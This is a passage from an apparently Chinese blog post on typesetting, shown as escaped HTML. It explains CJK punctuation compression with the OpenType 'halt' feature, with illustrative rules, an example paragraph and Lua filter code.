&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        table.insert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;inlines&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; lText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; util&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;inlines&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; rText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; util&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;inlines&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; lText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; rText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; lText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ~=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; rText&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ~=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;            local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; lCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; util&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;lastCodePoint&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;lText&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;            local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; rCP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; utf8.codepoint&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;rText&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; needSpacing&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;identify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;lCP&lt;&#x2F;span&gt;&lt;span&gt;), &lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;identify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;rCP&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;                table.insert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;SPACER&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;            end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    table.insert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;inlines&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;inlines&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;标点挤压&quot;&gt;标点挤压&lt;&#x2F;h2&gt;
&lt;p&gt;中文标点里除了破折号和省略号外，其他标点本身只有半个字宽。大部分字体里给标点加了半个字宽的空白，使标点看起来其他汉字等宽。但有时我们并不想要这个空白，此时就需要对标点进行挤压。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;加法和减法&quot;&gt;加法和减法&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.thetype.com&#x2F;2018&#x2F;02&#x2F;14211&#x2F;&quot;&gt;The
Type&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在一篇讲全角半角的文章里提到了调整标点宽度&lt;&#x2F;a&gt;，并且概括出了两种思考模式：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;标点本应是半宽的，调整宽度就是给它们加上空白的加法模式；&lt;&#x2F;li&gt;
&lt;li&gt;标点本应是全宽的，调整宽度就是给它们削去空白的减法模式。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;从这个角度来说，甚至可以认为使用「标点挤压」这个词其实就是默认了「减法模式&lt;span class=&quot;halt&quot;&gt;」&lt;&#x2F;span&gt;，因为「加法模式」并不存在「挤压」的问题，而是「加空」的问题，因此，用「标点宽度调整」可能会比「标点挤压」的称呼更合适。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我是认同标点是半宽的那一派，但我仍然要称呼宽度调整为标点挤压。因为我调整宽度的方式是用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;OpenType&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Alternate
Half
Widths（halt）特性把默认全宽字形换成半宽字形。从结果上看，使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;halt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是名副其实的减法模式。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;只需要处理引号括号书名号&quot;&gt;只需要处理引号括号书名号&lt;&#x2F;h3&gt;
&lt;p&gt;一般来说连续出现标点时才需要挤压其中的某个标点，而标点连续出现的位置一般是引号、括号或书名号前后。因此，我认为挤压规则应该以引号、括号和书名号入手：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;如果当前字符是“&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;之一：
&lt;ol&gt;
&lt;li&gt;且该字符是字符串里的第一个字符——挤压该字符；&lt;&#x2F;li&gt;
&lt;li&gt;且该字符前面是除&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;）以外的标点——挤压该字符；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;如果当前字符是任意标点，且后面跟着&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;）之一——挤压该字符；&lt;&#x2F;li&gt;
&lt;li&gt;如果当前字符是&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;）之一，且后面跟着任意标点——挤压该字符。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;正好手头有个充满了括号引号还有书名号的段落，可以展示这个规则的效果&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-8&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-8-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-8-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[8]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-8-content&quot;&gt;来自《俄罗斯文学人生课&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。这书读起来一般，但因为作者喜欢用括号，而且在讨论书，所以有很多括号和书名号。也因此很适合用作挤压的例子。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;注意其中标红的部分：如果没有挤压，这三种符号自身的留白会拉长字距，让人读起来难受。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;布尔加科夫首先引起斯大林的注意是因为《图尔宾一家的日子&lt;span style=&quot;color:red&quot;&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，&lt;&#x2F;span&gt;这是根据其长篇小说《白卫军》改编的剧本……但是斯大林视这些为赞美（或者说至少他假装如此，他可能在和布尔加科夫逗着玩儿&lt;span style=&quot;color:red&quot;&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，&lt;&#x2F;span&gt;说实际上，把白卫军刻画成值得尊敬的人再描述他们的失败是在赞美苏维埃政权。这是“布尔什维克主义粉碎性力量的体现&lt;span style=&quot;color:red&quot;&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;唔。像一部你要去看的戏剧，对吧&lt;span style=&quot;color:red&quot;&gt;&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;）&lt;&#x2F;span&gt;每逢斯大林喜欢（令人瞠目结舌&lt;span style=&quot;color:red&quot;&gt;&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;）&lt;&#x2F;span&gt;什么并且想进行评论时，他的举止通常不为人所理解。这部戏他看了十五次。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;halt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;特性可以实现标点挤压”这件事，我是从另一个博客里学来的。那个博客提出了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;casouri.github.io&#x2F;note&#x2F;2021&#x2F;full-width-quote&#x2F;index.html#%E6%A0%87%E7%82%B9%E6%8C%A4%E5%8E%8B&quot;&gt;以标点占据空间的方向为入手点的挤压规则&lt;&#x2F;a&gt;。从结果来看那个规则也很好，可以说是殊途同归了。&lt;&#x2F;p&gt;
&lt;p&gt;另外前文说到的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The
Type&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的全角半角文章里提到了挤压所有句内标点的“开明式”挤压规则。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;openstd.samr.gov.cn&#x2F;bzgk&#x2F;gb&#x2F;newGbInfo?hcno=22EA6D162E4110E752259661E1A0D0A8&quot;&gt;GB&#x2F;T
15834-2011《标点符号用法》&lt;&#x2F;a&gt;就用的开明式——如你所见——这种规则丑到不行。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;halt.lua&quot;&gt;halt.lua&lt;&#x2F;h3&gt;
&lt;p&gt;代码和前面的规则一样。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;lua&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; opening&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; charList&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;“《（&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; closing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; charList&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;”》）&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; puncts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; charList&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;，。、：；？！—…“”《》（）&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; classify&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;codepoint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span&gt; 省略 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; Str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;el&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; == #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;el&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; then return end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; codes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; pos&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;cp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; utf8.codes&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;el&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;        table.insert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;codes&lt;&#x2F;span&gt;&lt;span&gt;, { &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; pos&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;cp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; cp&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; classify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;cp&lt;&#x2F;span&gt;&lt;span&gt;) })&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    table.insert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;codes&lt;&#x2F;span&gt;&lt;span&gt;, { &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;pos&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; = -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;cp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; = -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {} }) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;-- Guard for i == n&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; list&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {}, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;codes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; prev&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;curr&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;next&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; codes&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;], &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;codes&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span&gt;], &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;codes&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; curr&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;opening&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; prev&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;opening&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; prev&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;other_punct&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;or&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
